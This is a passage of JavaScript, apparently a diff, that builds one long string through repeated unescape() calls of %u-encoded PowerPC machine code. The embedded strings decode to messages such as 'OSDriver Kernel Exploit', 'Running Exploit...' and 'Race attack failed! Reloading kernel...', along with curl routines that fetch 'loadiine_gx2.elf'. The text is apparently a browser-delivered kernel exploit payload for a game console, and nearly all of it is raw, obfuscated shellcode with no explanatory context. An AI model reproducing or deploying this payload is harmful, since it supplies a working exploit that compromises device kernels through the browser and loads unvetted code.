unescape("%u7fa4%ueb78%u3860%u0001%u7d29%u03a6%u4e80%u0421%u8121%u0010%u3880%u0000%u3860%u0000%u7d29%u03a6%u4e80%u0421%u8121%u0010%u3880%u0000%u3860%u0001%u7d29%u03a6%u4e80%u0421%u813f%u001c%u3c60%uf400"); - str += unescape("%u7fc4%uf378%u7d29%u03a6%u4e80%u0421%u813f%u001c%u7f64%udb78%u7fa3%ueb78%u7d29%u03a6%u4e80%u0421%u8121%u000c%u3860%u0000%u7d29%u03a6%u4e80%u0421%u8121%u000c%u3860%u0001%u7d29%u03a6%u4e80%u0421"); - str += unescape("%u8121%u0008%u3880%u0000%u38a0%u0000%u7f86%ue378%u7d29%u03a6%u3860%u0001%u4e80%u0421%u8121%u000c%u3860%u0001%u7d29%u03a6%u4e80%u0421%u8121%u0010%u3860%u0001%u3880%u0000%u7d29%u03a6%u4e80%u0421"); - str += unescape("%u3d20%u4000%u7d29%u03a6%u4240%u000c%u6000%u0000%u4bff%ufff8%u813f%u0024%u7d29%u03a6%u4e80%u0421%u3961%u0040%u4800%u0e10%u9421%ufff0%u7c08%u02a6%u7c6a%u1b78%u8126%u000c%ubfc1%u0008%u7fc4%u29d6"); - str += unescape("%u8066%u0000%u7d29%u03a6%u8106%u0004%u7d44%u5378%u9001%u0014%u7cdf%u3378%u7c63%u4214%u7fc5%uf378%u4e80%u0421%u813f%u0004%u3961%u0010%u7fc3%uf378%u7d29%uf214%u913f%u0004%u4800%u0dc8%u7c08%u02a6"); - str += unescape("%u9421%ufe28%u3cc0%u2f70%u3ca0%u6c6f%u3d40%u6874%ubf81%u01c8%u9001%u01dc%u7c9f%u2378%u3d20%u1a00%u60c6%u6179%u60a5%u6164%u614a%u7470%u3ce0%u2000%u8109%u0000%u7f88%u3000%u40be%u0044%u8109%u0004"); - str += unescape("%u7d3d%u4b78%u7f88%u2800%u40be%u0034%u891d%u0000%u2f88%u0000%u419e%u0010%u811d%u0000%u7f88%u5000%u40be%u0014%u811d%u0000%u7f88%u5000%u40be%u0010%u4800%u002c%u3bbd%uffff%u4bff%uffd4%u3929%u0001"); - str += unescape("%u7f89%u3800%u409e%uffac%u3c80%u0180%u7fe3%ufb78%u3884%u28b7%u3ba0%u0000%u4bff%ufd11%u3f80%u0102%u3c60%u0180%u639c%ua31c%u3863%u278d%u3881%u01c0%u7f89%u03a6%u3fc0%u0102%u63de%ub790%u4e80%u0421"); - str += unescape("%u3ca0%u0180%u7fc9%u03a6%u8061%u01c0%u3880%u0000%u38a5%u2797%u38c1%u01b8%u4e80%u0421%u3ca0%u0180%u7fc9%u03a6%u8061%u01c0%u3880%u0000%u38a5%u27a4%u38c1%u01b4%u4e80%u0421%u3ca0%u0180%u38a5%u27b3"); - str += unescape("%u38c1%u01b0%u3880%u0000%u7fc9%u03a6%u8061%u01c0%u4e80%u0421%u8121%u01b8%u7d29%u03a6%u4e80%u0421%u8121%u01b4%u3861%u01bc%u7d29%u03a6%u4e80%u0421%u8121%u01b0%u8061%u01bc%u7d29%u03a6%u4e80%u0421"); - str += unescape("%u3c60%u0180%u3863%u27c9%u3881%u01ac%u7f89%u03a6%u4e80%u0421%u3ca0%u0180%u38a5%u27d5%u38c1%u01a8%u3880%u0000%u7fc9%u03a6%u8061%u01ac%u4e80%u0421%u8121%u01a8%u7d29%u03a6%u4e80%u0421%u3c60%u0180"); - str += unescape("%u3863%u27e5%u3881%u01a4%u7f89%u03a6%u4e80%u0421%u3ca0%u0180%u7fc9%u03a6%u8061%u01a4%u3880%u0000%u38a5%u27ee%u38c1%u01a0%u4e80%u0421%u3ca0%u0180%u7fc9%u03a6%u8061%u01a4%u3880%u0000%u38a5%u27ff"); - str += unescape("%u38df%u0028%u4e80%u0421%u3ca0%u0180%u7fc9%u03a6%u8061%u01a4%u3880%u0000%u38a5%u280e%u38df%u002c%u4e80%u0421%u3ca0%u0180%u7fc9%u03a6%u8061%u01a4%u3880%u0000%u38a5%u281f%u38df%u0030%u4e80%u0421"); - str += unescape("%u3ca0%u0180%u7fc9%u03a6%u8061%u01a4%u3880%u0000%u38a5%u2831%u38df%u0034%u4e80%u0421%u3ca0%u0180%u3880%u0000%u38a5%u2843%u38df%u0038%u7fc9%u03a6%u8061%u01a4%u4e80%u0421%u8121%u01a0%u3860%u0000"); - str += unescape("%u7d29%u03a6%u4e80%u0421%u813f%u0028%u7d29%u03a6%u4e80%u0421%u7c7e%u1b79%u40a2%u0014%u3c80%u0180%u7fe3%ufb78%u3884%u2855%u4bff%ufb41%u3bbd%uffff%u3941%u010b%u8d3d%u0001%u386a%u0001%u2f89%u0000"); - str += unescape("%u419e%u0010%u992a%u0001%u7c6a%u1b78%u4bff%uffe8%u9923%u0000%u8923%u0000%u2f89%u002f%u419e%u000c%u3863%uffff%u4bff%ufff0%u813f%u0008%u3c80%u0180%u3884%u2866%u38a0%u0011%u7d29%u03a6%u3863%u0001"); - str += unescape("%u4e80%u0421%u3920%u0000%u9921%u0108%u7fc3%uf378%u813f%u0008%u3880%u2712%u38a1%u010c%u9121%u0198%u813f%u0000%u9121%u018c%u3920%u0000%u9121%u0190%u9121%u0194%u813f%u002c%u7d29%u03a6%u4e80%u0421"); - str += unescape("%u813f%u002c%u3ca0%u0180%u7fc3%uf378%u7d29%u03a6%u3880%u4e2b%u38a5%u1524%u4e80%u0421%u813f%u002c%u7fc3%uf378%u3880%u2711%u7d29%u03a6%u38a1%u018c%u4e80%u0421%u813f%u002c%u7fc3%uf378%u3880%u271a"); - str += unescape("%u7d29%u03a6%u38a1%u0008%u4e80%u0421%u813f%u0030%u7fc3%uf378%u7d29%u03a6%u4e80%u0421%u2f83%u0000%u41be%u0010%u7fe3%ufb78%u3881%u0008%u4bff%ufa3d%u8121%u0190%u2f89%u0000%u40be%u0014%u3c80%u0180"); - str += unescape("%u7fe3%ufb78%u3884%u2877%u4bff%ufa21%u7c25%u0b78%u3920%u0194%u9525%u019c%u3c80%u0020%u813f%u0034%u7fc3%uf378%u6084%u0002%u7d29%u03a6%u4e80%u0421%u8121%u019c%u2f89%u00c8%u419e%u0014%u3c80%u0180"); - str += unescape("%u7fe3%ufb78%u3884%u2888%u4bff%uf9e1%u813f%u0038%u7fc3%uf378%u7d29%u03a6%u4e80%u0421%u3920%u0000%u9121%u0008%u3d20%u0102%u6129%ua31c%u3c60%u0180%u7d29%u03a6%u3863%u2898%u3881%u018c%u4e80%u0421"); - str += unescape("%u3d20%u0102%u6129%ub790%u3ca0%u0180%u7d29%u03a6%u8061%u018c%u3880%u0000%u38a5%u28a3%u38c1%u0008%u4e80%u0421%u8121%u0008%u7d29%u03a6%u4e80%u0421%u3961%u01d8%u4800%u0984%u9421%uffe0%u7c08%u02a6"); - str += unescape("%ubf41%u0008%u7c9f%u2379%u9001%u0024%u7c7e%u1b78%u7cbd%u2b78%u7cdc%u3378%u7cfb%u3b78%u7d1a%u4378%u4182%u0024%u813f%u0000%u6d2a%u7f45%u2f8a%u4c46%u409e%u0014%u813f%u0010%u6d2a%u0002%u2f8a%u0014"); - str += unescape("%u419e%u0014%u3c80%u0180%u7fc3%uf378%u3884%u28c5%u4bff%uf919%u80ff%u0020%u3960%u0000%ua11f%u0030%u7cff%u3a14%u7ce9%u3b78%u7f8b%u4000%u409c%u0060%ua0df%u0032%u8149%u0000%u1cc6%u0028%u7cc7%u3214"); - str += unescape("%u80a6%u0010%u7caa%u2a14%u7faa%ueb78%u7cbf%u2a14%u38a5%uffff%u8c05%u0001%u2f80%u0000%u419e%u0020%u88ca%u0000%u2f86%u0000%u419e%u0014%u7f80%u3040%u409e%u0060%u394a%u0001%u4bff%uffdc%u894a%u0000"); - str += unescape("%u7f8a%u0000%u41be%u0024%u4800%u0048%u2f9a%u0000%u3be0%u0000%u41be%u0048%u7fc3%uf378%u7fa4%ueb78%u4bff%uf889%u4800%u0038%u2f9b%u0000%u419e%u000c%u8149%u000c%u915b%u0000%u2f9c%u0000%u419e%u000c"); - str += unescape("%u8149%u0014%u915c%u0000%u83e9%u0010%u4800%u0010%u396b%u0001%u3929%u0028%u4bff%uff50%u3961%u0020%u7fe3%ufb78%u4800%u084c%u7c08%u02a6%u9421%uff50%u3d20%u0102%u3c60%u0180%u6129%ua31c%ubf61%u009c"); - str += unescape("%u9001%u00b4%u7d29%u03a6%u3863%u28d6%u3881%u008c%u3fe0%u0102%u63ff%ub790%u4e80%u0421%u3ca0%u0180%u38c1%u0084%u8061%u008c%u3880%u0000%u38a5%u28e3%u7fe9%u03a6%u4e80%u0421%u8121%u0084%u3880%u0000"); - str += unescape("%u38a0%u003c%u7d29%u03a6%u3861%u0008%u4e80%u0421%u8121%u0084%u8061%u008c%u3ca0%u0180%u9121%u0014%u3d20%uc0e0%u9061%u000c%u3880%u0001%u9121%u0008%u38a5%u28ea%u38c1%u0088%u7fe9%u03a6%u4e80%u0421"); - str += unescape("%u8121%u0088%u3ca0%u0180%u8061%u008c%u8129%u0000%u3880%u0001%u38a5%u2904%u38c1%u0088%u9121%u001c%u7fe9%u03a6%u4e80%u0421%u8121%u0088%u3ca0%u0180%u8061%u008c%u8129%u0000%u3880%u0000%u38a5%u2919"); - str += unescape("%u38c1%u0010%u9121%u0020%u7fe9%u03a6%u4e80%u0421%u3ca0%u0180%u8061%u008c%u3880%u0000%u38a5%u2920%u38c1%u0018%u7fe9%u03a6%u4e80%u0421%u3ca0%u0180%u8061%u008c%u3880%u0000%u38a5%u2936%u38c1%u0024"); - str += unescape("%u7fe9%u03a6%u4e80%u0421%u3ca0%u0180%u8061%u008c%u3880%u0000%u38a5%u2943%u38c1%u0028%u7fe9%u03a6%u4e80%u0421%u3ca0%u0180%u8061%u008c%u3880%u0000%u38a5%u2955%u38c1%u002c%u7fe9%u03a6%u4e80%u0421"); - str += unescape("%u8121%u0018%u3c60%ua000%u7d29%u03a6%u4e80%u0421%u3d20%u1000%u7f83%u4800%u419e%u0010%u3861%u0008%u4bff%ued45%u4800%u0694%u3ca0%u0180%u7fe9%u03a6%u8061%u008c%u3880%u0000%u38a5%u295b%u38c1%u0080"); - str += unescape("%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u008c%u3880%u0000%u38a5%u2963%u38c1%u007c%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u008c%u3880%u0000%u38a5%u296c%u38c1%u0078%u4e80%u0421%u3ca0%u0180"); - str += unescape("%u7fe9%u03a6%u8061%u008c%u3880%u0000%u38a5%u297e%u38c1%u0074%u4e80%u0421%u3ca0%u0180%u3880%u0000%u38a5%u2990%u38c1%u0070%u7fe9%u03a6%u8061%u008c%u4e80%u0421%u8121%u0080%u7d29%u03a6%u4e80%u0421"); - str += unescape("%u8121%u0074%u7c7e%u1b78%u3880%u0040%u3860%u0100%u7d29%u03a6%u4e80%u0421%u7c7f%u1b79%u40a2%u0014%u3c80%u0180%u3861%u0008%u3884%u299f%u4bff%uf5fd%u8121%u0014%u7fe3%ufb78%u3880%u0000%u38a0%u0100"); - str += unescape("%u7d29%u03a6%u4e80%u0421%u8121%u0078%u38e0%u0000%u7fe4%ufb78%u38a0%u0003%u38c0%u0000%u7d29%u03a6%u7fc3%uf378%u4e80%u0421%u8121%u007c%u7fc3%uf378%u7d29%u03a6%u4e80%u0421%u8121%u0070%u7fe3%ufb78"); - str += unescape("%u3fe0%u0102%u7d29%u03a6%u63ff%ub790%u4e80%u0421%u3ca0%u0180%u8061%u008c%u3880%u0000%u38a5%u29cd%u38c1%u006c%u7fe9%u03a6%u4e80%u0421%u3ca0%u0180%u8061%u008c%u3880%u0000%u38a5%u29dc%u38c1%u0068"); - str += unescape("%u7fe9%u03a6%u4e80%u0421%u3ca0%u0180%u38a5%u29eb%u38c1%u0064%u8061%u008c%u3880%u0000%u7fe9%u03a6%u4e80%u0421%u8121%u001c%u3880%u0020%u3860%u4000%u7d29%u03a6%u4e80%u0421%u8121%u001c%u7c7d%u1b78"); - str += unescape("%u3880%u0008%u3860%u1000%u7d29%u03a6%u4e80%u0421%u7c7e%u1b79%u4182%u000c%u2f9d%u0000%u40be%u0014%u3c80%u0180%u3861%u0008%u3884%u2a00%u4bff%uf4fd%u8161%u006c%u3c80%u0180%u7fc3%uf378%u3884%u1578"); - str += unescape("%u38a0%u0001%u38c1%u0008%u38fd%u2000%u3900%u2000%u3920%u0000%u3940%u001a%u7d69%u03a6%u4e80%u0421%u2f83%u0000%u40be%u0014%u3c80%u0180%u3861%u0008%u3884%u2a3c%u4bff%uf4b5%u8121%u0068%u7fc3%uf378"); - str += unescape("%u7d29%u03a6%u4e80%u0421%u8121%u0064%u7fc3%uf378%u7d29%u03a6%u4e80%u0421%u2f83%u0000%u409e%u0028%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000"); - str += unescape("%u4bff%uffc8%u3d20%uc080%u6129%u1600%u8149%u0000%u6d48%u3ffe%u2f88%uc0de%u419e%u0098%u3d40%uc080%u3920%u0000%u614a%u1600%u8081%u0008%u912a%u0000%u3ca0%u0180%u912a%u0004%u3861%u0008%u38a5%u2a70"); - str += unescape("%u38c1%u005c%u38e1%u0060%u3900%u0001%u9121%u0060%u9121%u005c%u4bff%ufaa5%u7c6a%u1b79%u8081%u0008%u41a2%u00b4%u8121%u0010%u7c84%u5214%u8061%u0060%u80a1%u005c%u7d29%u03a6%u3c63%uc000%u4e80%u0421"); - str += unescape("%u8121%u0024%u8061%u0060%u8081%u005c%u7d29%u03a6%u3c63%uc000%u4e80%u0421%u8121%u0028%u8061%u0060%u8081%u005c%u7d29%u03a6%u4e80%u0421%u4800%u0068%u3fe0%uc080%u3b80%u0000%u63ff%u1608%u7d3b%u4b78"); - str += unescape("%u813b%u0004%u7f9c%u4840%u40bc%uff54%u813f%u0000%u3880%u0004%u815f%u0004%u3b9c%u0001%u3d29%uc100%u3bff%u0008%u9149%u0000%u8121%u0024%u807f%ufff8%u7d29%u03a6%u3c63%uc100%u4e80%u0421%u8121%u0028"); - str += unescape("%u807f%ufff8%u3880%u0004%u7d29%u03a6%u4e80%u0421%u4bff%uffb0%u8081%u0008%u3ca0%u0180%u3920%u0000%u3861%u0008%u38a5%u2a76%u38c1%u0054%u38e1%u0058%u3900%u0000%u9121%u0058%u9121%u0054%u4bff%uf9bd"); - str += unescape("%u7c64%u1b79%u41a2%u0034%u8121%u0008%u8061%u0058%u7c89%u2214%u8121%u0010%u80a1%u0054%u7d29%u03a6%u4e80%u0421%u8121%u0024%u8061%u0058%u8081%u0054%u7d29%u03a6%u4e80%u0421%u8081%u0008%u3ca0%u0180"); - str += unescape("%u3920%u0000%u3861%u0008%u38a5%u2a7e%u38c1%u004c%u38e1%u0050%u3900%u0000%u9121%u0050%u9121%u004c%u4bff%uf959%u7c64%u1b79%u41a2%u0034%u8121%u0008%u8061%u0050%u7c89%u2214%u8121%u0010%u80a1%u004c"); - str += unescape("%u7d29%u03a6%u4e80%u0421%u8121%u0024%u8061%u0050%u8081%u004c%u7d29%u03a6%u4e80%u0421%u8081%u0008%u3ca0%u0180%u3920%u0000%u3861%u0008%u38a5%u2a84%u38c1%u0044%u38e1%u0048%u3900%u0000%u9121%u0048"); - str += unescape("%u9121%u0044%u4bff%uf8f5%u2f83%u0000%u41be%u0030%u8121%u0014%u3880%u0000%u8061%u0048%u7d29%u03a6%u80a1%u0044%u4e80%u0421%u8121%u0024%u8061%u0048%u8081%u0044%u7d29%u03a6%u4e80%u0421%u3c60%uffea"); - str += unescape("%u3c80%u0180%u6063%ua1b8%u3884%u004c%u4bff%ue849%u3fe0%uc080%u4bff%udefd%u8121%u0014%u63ff%u1500%u3880%u0000%u7d29%u03a6%u7fe3%ufb78%u38a0%u0018%u4e80%u0421%u3d20%uc07f%u3940%u0214%u6129%ufffc"); - str += unescape("%u9149%u0000%u3d40%uc07f%u3920%u0000%u614a%uffe8%u912a%u0000%u3d40%uc07f%u614a%uffec%u3d00%udead%u912a%u0000%u3d40%uc07f%u6108%ubeaf%u614a%ufff0%u910a%u0000%u3d00%udead%u3d40%uc07f%u6108%uc0de"); - str += unescape("%u614a%uffe0%u3c60%uc07f%u910a%u0000%u3d40%uc07f%u614a%ufff8%u38a0%u0014%u912a%u0000%u3d20%uc07f%u3940%u0001%u6129%uffe4%u9149%u0000%u3880%u0000%u8121%u0014%u6063%uf800%u7d29%u03a6%u4e80%u0421"); - str += unescape("%u3d20%u0102%u6129%ua31c%u3c60%uc201%u913f%u0000%u3d20%u0102%u6129%ub790%u6063%uc55c%u913f%u0004%u3d20%u0100%u6129%u07ec%u3880%u0004%u913f%u000c%u3d20%u0100%u6129%uffa4%u913f%u0010%u3d20%u0100"); - str += unescape("%u6129%ufe90%u913f%u0014%u3d20%u1005%u6129%ud180%u913f%u0008%u3fe0%uc200%u8121%u0008%u63ff%u9658%u8129%u0018%u5529%u01ba%u6529%u4800%u6129%u0003%u9123%u0000%u8121%u0024%u7d29%u03a6%u4e80%u0421"); - str += unescape("%u8121%u0028%u3c60%u0101%u3880%u0004%u7d29%u03a6%u6063%uc55c%u4e80%u0421%u3c60%uc200%u3d20%u4800%u6063%u95b4%u6129%u00a0%u3880%u0004%u9123%u0000%u3d20%u4800%u6129%u00e8%u913f%u0000%u8121%u0024"); - str += unescape("%u7d29%u03a6%u4e80%u0421%u8121%u0028%u3c60%u0100%u3880%u0004%u7d29%u03a6%u6063%u95b4%u4e80%u0421%u8121%u0024%u7fe3%ufb78%u3880%u0004%u7d29%u03a6%u4e80%u0421%u8121%u0028%u3c60%u0100%u3880%u0004"); - str += unescape("%u7d29%u03a6%u6063%u9658%u4e80%u0421%u8121%u0020%u7fc3%uf378%u7d29%u03a6%u4e80%u0421%u8121%u0020%u7fa3%ueb78%u7d29%u03a6%u4e80%u0421%u8121%u002c%u7d29%u03a6%u4e80%u0421%u3961%u00b0%u4800%u0038"); - str += unescape("%u81cb%uffb8%u81eb%uffbc%u820b%uffc0%u822b%uffc4%u824b%uffc8%u826b%uffcc%u828b%uffd0%u82ab%uffd4%u82cb%uffd8%u82eb%uffdc%u830b%uffe0%u832b%uffe4%u834b%uffe8%u836b%uffec%u838b%ufff0%u83ab%ufff4"); - str += unescape("%u83cb%ufff8%u800b%u0004%u83eb%ufffc%u7c08%u03a6%u7d61%u5b78%u4e80%u0020%u801f%u0000%u7c09%u03a6%u4e80%u0421%u83ff%u0004%u2c1f%u0000%u4082%uffec%u8001%u0014%u83e1%u000c%u7c08%u03a6%u3821%u0010"); - str += unescape("%u4e80%u0020%u8061%u0008%u8081%u000c%u8001%u0014%u7c08%u03a6%u3821%u0010%u4e80%u0020%u80a1%u0008%u3821%u0010%u7ca3%u2b78%u8081%u0004%u7c88%u03a6%u4e80%u0020%u80c1%u0014%u9061%u0010%u8001%u0010"); - str += unescape("%u915e%u002c%u8121%u0008%u901e%u0030%u913e%u0028%u90de%u0034%u8001%u0034%u83e1%u002c%u7c08%u03a6%u83c1%u0028%u3821%u0030%u4e80%u0020%u8001%u0034%u83e1%u002c%u7c08%u03a6%u83c1%u0028%u3821%u0030"); - str += unescape("%u4e80%u0020%u3800%u3200%u4400%u0002%u4e80%u0020%u3800%u3300%u4400%u0002%u4e80%u0020%u3800%u4700%u4400%u0002%u4e80%u0020%u3800%u4800%u4400%u0002%u4e80%u0020%u6d65%u6d73%u6574%u004f%u5341%u6c6c"); - str += unescape("%u6f63%u4672%u6f6d%u5379%u7374%u656d%u004f%u5346%u7265%u6554%u6f53%u7973%u7465%u6d00%u494d%u5f53%u6574%u4465%u7669%u6365%u5374%u6174%u6500%u494d%u5f43%u6c6f%u7365%u0049%u4d5f%u4f70%u656e%u004f"); - str += unescape("%u5353%u6372%u6565%u6e50%u7574%u466f%u6e74%u4578%u004f%u5353%u6372%u6565%u6e43%u6c65%u6172%u4275%u6666%u6572%u4578%u0044%u4346%u6c75%u7368%u5261%u6e67%u6500%u4f53%u5363%u7265%u656e%u466c%u6970"); - str += unescape("%u4275%u6666%u6572%u7345%u7800%u4f53%u5363%u7265%u656e%u4765%u7442%u7566%u6665%u7253%u697a%u6545%u7800%u4f53%u5363%u7265%u656e%u496e%u6974%u004f%u5353%u6372%u6565%u6e53%u6574%u4275%u6666%u6572"); - str += unescape("%u4578%u004f%u5344%u7269%u7665%u7220%u4b65%u726e%u656c%u2045%u7870%u6c6f%u6974%u005f%u4578%u6974%u004f%u5343%u7265%u6174%u6554%u6872%u6561%u6400%u4f53%u5265%u7375%u6d65%u5468%u7265%u6164%u004f"); - str += unescape("%u5349%u7354%u6872%u6561%u6454%u6572%u6d69%u6e61%u7465%u6400%u4761%u6467%u6574%u206e%u6f74%u2066%u6f75%u6e64%u2100%u636f%u7265%u696e%u6974%u0073%u7973%u6170%u7000%u6d65%u6d63%u7079%u0044%u4349"); - str += unescape("%u6e76%u616c%u6964%u6174%u6552%u616e%u6765%u0049%u4349%u6e76%u616c%u6964%u6174%u6552%u616e%u6765%u005f%u5f50%u5043%u4578%u6974%u0053%u5953%u5377%u6974%u6368%u546f%u4272%u6f77%u7365%u7200%u5359"); - str += unescape("%u534c%u6175%u6e63%u6853%u6574%u7469%u6e67%u7300%u4661%u696c%u6564%u2074%u6f20%u6372%u6561%u7465%u2074%u6872%u6561%u6473%u2120%u506c%u6561%u7365%u2074%u7279%u2061%u6761%u696e%u2e00%u5275%u6e6e"); - str += unescape("%u696e%u6720%u4578%u706c%u6f69%u742e%u2e2e%u004f%u5353%u6c65%u6570%u5469%u636b%u7300%u4452%u5641%u0044%u5256%u4200%u5265%u6769%u7374%u6572%u2829%u206f%u6620%u6472%u6976%u6572%u2041%u2061%u6e64"); - str += unescape("%u2042%u2066%u6169%u6c65%u6421%u2052%u656c%u6f61%u6469%u6e67%u206b%u6572%u6e65%u6c2e%u2e2e%u0046%u6169%u6c65%u6420%u746f%u2061%u6c6c%u6f63%u6174%u6520%u7061%u796c%u6f61%u6421%u2052%u656c%u6f61"); - str += unescape("%u6469%u6e67%u206b%u6572%u6e65%u6c2e%u2e2e%u0044%u5256%u4841%u5800%u5261%u6365%u2061%u7474%u6163%u6b20%u6661%u696c%u6564%u2120%u5265%u6c6f%u6164%u696e%u6720%u6b65%u726e%u656c%u2e2e%u2e00%u4661"); - str += unescape("%u696c%u6564%u2074%u6f20%u6669%u6e64%u2044%u5256%u4120%u6f72%u2044%u5256%u4841%u5821%u2052%u656c%u6f61%u6469%u6e67%u206b%u6572%u6e65%u6c2e%u2e2e%u0053%u7563%u6365%u7373%u2120%u5265%u2d6c%u6175"); - str += unescape("%u6e63%u6820%u4c6f%u6164%u6969%u6e65%u2047%u5832%u2061%u6761%u696e%u2e2e%u2e00%u4f53%u5363%u7265%u656e%u496e%u6974%u004f%u5353%u6372%u6565%u6e47%u6574%u4275%u6666%u6572%u5369%u7a65%u4578%u004f"); - str += unescape("%u5353%u6372%u6565%u6e53%u6574%u4275%u6666%u6572%u4578%u004f%u5353%u6372%u6565%u6e43%u6c65%u6172%u4275%u6666%u6572%u4578%u004f%u5353%u6372%u6565%u6e46%u6c69%u7042%u7566%u6665%u7273%u4578%u004f"); - str += unescape("%u5353%u6372%u6565%u6e50%u7574%u466f%u6e74%u4578%u006e%u6e5f%u6163%u2e72%u706c%u0041%u4349%u6e69%u7469%u616c%u697a%u6500%u4143%u4765%u7453%u7461%u7274%u7570%u4964%u0041%u4343%u6f6e%u6e65%u6374"); - str += unescape("%u5769%u7468%u436f%u6e66%u6967%u4964%u006e%u7379%u736e%u6574%u2e72%u706c%u0073%u6f63%u6b65%u745f%u6c69%u625f%u696e%u6974%u006e%u6c69%u6263%u7572%u6c00%u6375%u726c%u5f67%u6c6f%u6261%u6c5f%u696e"); - str += unescape("%u6974%u0063%u7572%u6c5f%u6561%u7379%u5f69%u6e69%u7400%u6375%u726c%u5f65%u6173%u795f%u7365%u746f%u7074%u0063%u7572%u6c5f%u6561%u7379%u5f70%u6572%u666f%u726d%u0063%u7572%u6c5f%u6561%u7379%u5f67"); - str += unescape("%u6574%u696e%u666f%u0063%u7572%u6c5f%u6561%u7379%u5f63%u6c65%u616e%u7570%u0063%u5552%u4c20%u696e%u6974%u2066%u6169%u6c65%u6400%u6c6f%u6164%u6969%u6e65%u5f67%u7832%u2e65%u6c66%u0066%u696c%u6520"); - str += unescape("%u6c65%u6e67%u7468%u2069%u7320%u3000%u7265%u7370%u6f6e%u7365%u2021%u3d20%u3230%u3000%u7379%u7361%u7070%u2e72%u706c%u005f%u5359%u534c%u6175%u6e63%u684d%u6969%u5374%u7564%u696f%u0055%u524c%u206e"); - str += unescape("%u6f74%u2066%u6f75%u6e64%u0049%u6e76%u616c%u6964%u2065%u6c66%u2066%u696c%u6500%u636f%u7265%u696e%u6974%u2e72%u706c%u006d%u656d%u7365%u7400%u4d45%u4d41%u6c6c%u6f63%u4672%u6f6d%u4465%u6661%u756c"); - str += unescape("%u7448%u6561%u7045%u7800%u4d45%u4d46%u7265%u6554%u6f44%u6566%u6175%u6c74%u4865%u6170%u006d%u656d%u6370%u7900%u4f53%u4566%u6665%u6374%u6976%u6554%u6f50%u6879%u7369%u6361%u6c00%u4443%u466c%u7573"); - str += unescape("%u6852%u616e%u6765%u0049%u4349%u6e76%u616c%u6964%u6174%u6552%u616e%u6765%u005f%u4578%u6974%u0049%u4d5f%u4f70%u656e%u0049%u4d5f%u436c%u6f73%u6500%u494d%u5f53%u6574%u4465%u7669%u6365%u5374%u6174"); - str += unescape("%u6500%u4f53%u416c%u6c6f%u6346%u726f%u6d53%u7973%u7465%u6d00%u4f53%u4672%u6565%u546f%u5379%u7374%u656d%u004e%u6f74%u2065%u6e6f%u7567%u6820%u6d65%u6d6f%u7279%u2e20%u4578%u6974%u2061%u6e64%u2072"); - str += unescape("%u652d%u656e%u7465%u7220%u6272%u6f77%u7365%u722e%u004f%u5343%u7265%u6174%u6554%u6872%u6561%u6400%u4f53%u5265%u7375%u6d65%u5468%u7265%u6164%u004f%u5349%u7354%u6872%u6561%u6454%u6572%u6d69%u6e61"); - str += unescape("%u7465%u6400%u5468%u7265%u6164%u206d%u656d%u6f72%u7920%u616c%u6c6f%u6361%u7469%u6f6e%u2066%u6169%u6c65%u642e%u2045%u7869%u7420%u616e%u6420%u7265%u2d65%u6e74%u6572%u2062%u726f%u7773%u6572%u2e00"); - str += unescape("%u4661%u696c%u6564%u2074%u6f20%u6372%u6561%u7465%u2074%u6872%u6561%u642e%u2045%u7869%u7420%u616e%u6420%u7265%u2d65%u6e74%u6572%u2062%u726f%u7773%u6572%u2e00%u2e74%u6578%u7400%u2e72%u6f64%u6174"); - str += unescape("%u6100%u2e64%u6174%u6100%u2e62%u7373%u0000%u0000%u0000%u003c%u0000%u0000%u017a%u5200%u047c%u4101%u1b0c%u0100%u0d0b%u1141%u7f8e%u128f%u1190%u1091%u0f92%u0e93%u0d94%u0c95%u0b96%u0a97%u0998%u0899"); - str += unescape("%u079a%u069b%u059c%u049d%u039e%u029f%u0100%u0000%u0000%u0038%u0000%u0044%uffff%uf828%u0000%u0058%u0041%uce41%ucf41%ud041%ud141%ud241%ud341%ud441%ud541%ud641%ud741%ud841%ud941%uda41%udb41%udc41"); - str += unescape("%udd41%ude42%udf41%u0641%u410d%u0100%u0000%u2b0c%u0000%u2b10%u0000%u2b14%u0000%u2b18%u0000%u2b1c%u0000%u2b20%u0000%u2b24%u0000%u2b28%u0000%u2b2c%u0000%u2b30%u0000%u2b34%u0000%u2b38%u0000%u2b3c"); - str += unescape("%u0000%u2b40%u0000%u2b44%u0000%u2b48%u0000%u2b4c%u0000%u2b50%u0000%u2b54%u0000%u2b58%u0000%u2b5c%u0000%u2b60%u0000%u2b64%u0000%u2b68%u0000%u2b6c%u0000%u2b70%u0000%u2b74%u0000%u2b78%u0000%u2b7c"); - str += unescape("%u0000%u2b80%u0000%u2b84%u0000%u2b88%u0000%u2b8c%u0000%u2b90%u0000%u2b94%u0000%u2b98%u0000%u2b9c%u0000%u2ba0%u0000%u2ba4%u0000%u2ba8%u0000%u2bac%u0000%u2bb0%u0000%u2bb4%u0000%u2bb8%u0000%u2bbc"); - str += unescape("%u0000%u2bc0%u0000%u2bc4%u0000%u2bc8%u0000%u2bcc%u0000%u2bd0%u0000%u2bd4%u0000%u2bd8%u0000%u2bdc%u0000%u2be0%u0000%u2be4%u0000%u2be8%u0000%u2bec%u0000%u2bf0%u0000%u2bf4%u0000%u2bf8%u0000%u2bfc"); - str += unescape("%u0000%u2c00%u0000%u2c04%u0000%u2c08%u0000%u2c0c%u0000%u2c10%u0000%u2c14%u0000%u2c18%u0000%u2c1c%u0000%u2c20%u0000%u2c24%u0000%u2c28%u0000%u2c2c%u0000%u2c30%u0000%u2c34%u0000%u2c38%u0000%u2c3c"); - str += unescape("%u0000%u2c40%u0000%u2c44%u0000%u2c48%u0000%u2c4c%u0000%u2c50%u0000%u2c54%u0000%u2c58%u0000%u2c5c%u0000%u2c60%u0000%u2c64%u0000%u2c68%u0000%u2c6c%u0000%u2c70%u0000%u2c74%u0000%u2c78%u0000%u2c7c"); - str += unescape("%u0000%u2c80%u0000%u2c84%u0000%u2c88%u0000%u2c8c%u0000%u2c90%u0000%u2c94%u0000%u2c98%u0000%u2c9c%u0000%u2ca0%u0000%u2ca4%u0000%u2ca8%u0000%u2cac%u0000%u2cb0%u0000%u2cb4%u0000%u2cb8%u0000%u2cbc"); - str += unescape("%u0000%u2cc0%u0000%u2cc4%u0000%u2cc8%u0000%u2ccc%u0000%u2cd0%u0000%u2cd4%u0000%u2cd8%u0000%u2cdc%u0000%u2ce0%u0000%u2ce4%u0000%u2ce8%u0000%u2cec%u0000%u2cf0%u0000%u2cf4%u0000%u2cf8%u0000%u2cfc"); - str += 